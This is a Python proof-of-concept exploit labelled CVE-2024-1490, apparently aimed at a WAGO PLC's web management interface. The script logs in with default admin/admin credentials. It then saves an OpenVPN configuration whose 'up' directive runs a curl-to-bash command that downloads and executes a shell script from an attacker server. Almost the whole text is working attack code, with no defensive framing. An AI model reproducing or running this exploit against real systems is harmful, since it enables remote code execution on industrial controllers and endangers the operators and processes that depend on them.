CVE-2024-1490

import requests # Exploit Title: WAGO PLC OpenVPN Configuration RCE # Description: PoC for CVE-2024-1490 TARGET_URL = "https://<TARGET_IP>/vpn/openvpn/config" USERNAME = "admin" PASSWORD = "admin" def exploit(): session = requests.Session() # Step 1: Authenticate to the Web Management Interface login_payload = {"username": USERNAME, "password": PASSWORD} session.post(f"https://<TARGET_IP>/login", data=login_payload, verify=False) # Step 2: Craft malicious OpenVPN configuration # The 'up' directive allows executing a shell command when the interface starts malicious_config = """dev tun remote 127.0.0.1 up '/bin/bash -c "curl http://attacker-server/shell.sh | bash"' """ # Step 3: Send the configuration to update OpenVPN settings headers = {"Content-Type": "application/x-www-form-urlencoded"} data = {"config_content": malicious_config, "action": "save"} response = session.post(TARGET_URL, data=data, headers=headers, verify=False) if response.status_code == 200: print("[+] Payload sent successfully. Triggering OpenVPN restart may execute the command.") else: print("[-] Failed to send payload.") if __name__ == "__main__": exploit()

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